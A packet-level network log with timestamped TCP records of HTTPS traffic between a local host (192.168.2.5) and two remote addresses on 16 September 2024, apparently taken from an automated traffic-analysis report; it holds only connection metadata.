Sep 16, 2024 08:23:21.638314962 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638362885 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638405085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638427973 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638439894 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638467073 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638487101 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638528109 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638567924 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638592005 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638603926 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638631105 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638648033 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.638698101 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.638750076 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.663753033 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.663765907 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.663786888 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.663815975 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.663845062 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.663878918 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.663897991 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.663923979 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.663933992 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.663955927 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.663988113 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.664000034 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.664058924 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.664076090 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.664093971 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.664107084 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.664140940 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.664166927 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.664187908 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.664228916 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.664247036 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.664313078 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.664335966 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.699412107 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.701894999 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.791413069 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.791568995 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.843446970 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.843523979 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.871450901 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.873883963 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.921761990 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.921777010 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.921791077 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.921801090 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.921916962 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.921921968 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.921958923 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.921977997 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.922050953 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.922126055 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:21.922136068 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:21.922174931 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.127439022 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.127523899 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.203416109 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.203540087 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.267432928 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.267523050 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.299460888 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.299552917 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427033901 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427057981 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427077055 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427103043 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427125931 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427133083 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427165985 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427174091 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427184105 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427205086 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427210093 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.427226067 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427300930 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.427331924 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.462405920 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.462439060 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.462457895 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.462466955 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.462491035 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.462501049 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.462533951 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.462567091 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527599096 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527627945 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527669907 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527744055 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527757883 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527780056 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527822971 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527842045 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527884007 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527884007 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527904987 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527941942 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527961969 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.527987957 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.527998924 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.528074980 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.528141022 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.559986115 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.560024023 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.560055971 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.560075998 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.560106039 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.560152054 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615514040 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615535021 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615562916 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615624905 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615642071 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615694046 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615705013 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615732908 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615768909 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615768909 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615784883 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615838051 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615838051 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615852118 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615894079 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615937948 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.615943909 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615978956 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.615991116 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.616017103 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.616158962 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.631433964 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.631490946 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.735443115 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.770955086 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.770982981 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.771001101 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.771020889 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.771028042 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.771043062 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.771187067 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.771195889 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.771313906 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.823401928 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.823470116 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.943439007 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.943499088 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:22.975450993 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:22.975502014 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.099446058 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.099534035 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.130233049 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.130259991 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.130275965 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.130296946 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.130305052 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.130464077 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.130470991 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.130597115 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.143954992 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.143981934 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.144068003 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.259407043 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.259462118 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.285433054 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.285482883 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.285520077 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.285566092 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.285602093 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.285651922 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.285685062 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.285773039 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.285854101 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.336940050 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.336960077 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.336985111 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.337044954 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.337097883 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.339409113 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.372932911 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.372946024 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.372972012 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373049021 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373064995 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373117924 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373136997 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373173952 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373173952 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373193979 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373275995 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373290062 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373328924 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373353004 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373364925 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.373444080 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373500109 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.373522043 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.491440058 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.524035931 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.570930958 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.579440117 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631190062 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631208897 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631225109 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631247997 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631264925 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631282091 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631294012 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631300926 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631325006 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631333113 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631346941 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631352901 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631361961 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631372929 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631376982 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631393909 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631411076 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631417036 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631447077 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631450891 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631469011 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631478071 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631489038 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631498098 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631504059 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631521940 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.631541014 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.631576061 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.774087906 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.787403107 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.787476063 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.802826881 CEST	49748	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:23.802856922 CEST	443	49748	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:23.802932978 CEST	49748	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:23.819971085 CEST	49748	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:23.819983006 CEST	443	49748	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:23.820091009 CEST	443	49748	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:23.843441010 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.843517065 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.940855980 CEST	49749	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:23.940917969 CEST	443	49749	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:23.941001892 CEST	49749	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:23.957501888 CEST	49749	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:23.957528114 CEST	443	49749	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:23.957576036 CEST	443	49749	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:23.985852957 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.985879898 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.985896111 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.985939980 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.985980034 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.985989094 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.985997915 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.986006021 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.986018896 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.986041069 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.986058950 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.986073971 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.986079931 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.986154079 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.996536970 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:23.996581078 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:23.996706009 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.003415108 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.003519058 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045259953 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045274973 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045289993 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045331955 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045347929 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045353889 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045365095 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045383930 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045404911 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045409918 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045428991 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045445919 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045478106 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045516014 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045526981 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045548916 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045587063 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045614004 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045619011 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045644045 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045644045 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045687914 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.045741081 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.045778990 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.080988884 CEST	49750	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.081027985 CEST	443	49750	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.081099033 CEST	49750	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.098630905 CEST	49750	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.098647118 CEST	443	49750	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.098738909 CEST	443	49750	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.115017891 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.115063906 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.115097046 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.115149975 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.199408054 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.199482918 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.226006031 CEST	49751	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.226028919 CEST	443	49751	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.226089954 CEST	49751	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.255449057 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.255527020 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.260768890 CEST	49751	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.260786057 CEST	443	49751	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.260824919 CEST	443	49751	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.339404106 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.339462042 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.384474993 CEST	49752	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.384514093 CEST	443	49752	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.384617090 CEST	49752	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.411406040 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.411458015 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.463360071 CEST	49752	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.463380098 CEST	443	49752	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.463426113 CEST	443	49752	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.588155985 CEST	49753	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.588243008 CEST	443	49753	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.588320971 CEST	49753	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.703408957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.703471899 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.763443947 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.763524055 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.795406103 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.795469046 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.798890114 CEST	49753	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.798955917 CEST	443	49753	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.799040079 CEST	443	49753	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.859404087 CEST	443	49735	185.199.109.133	192.168.2.5
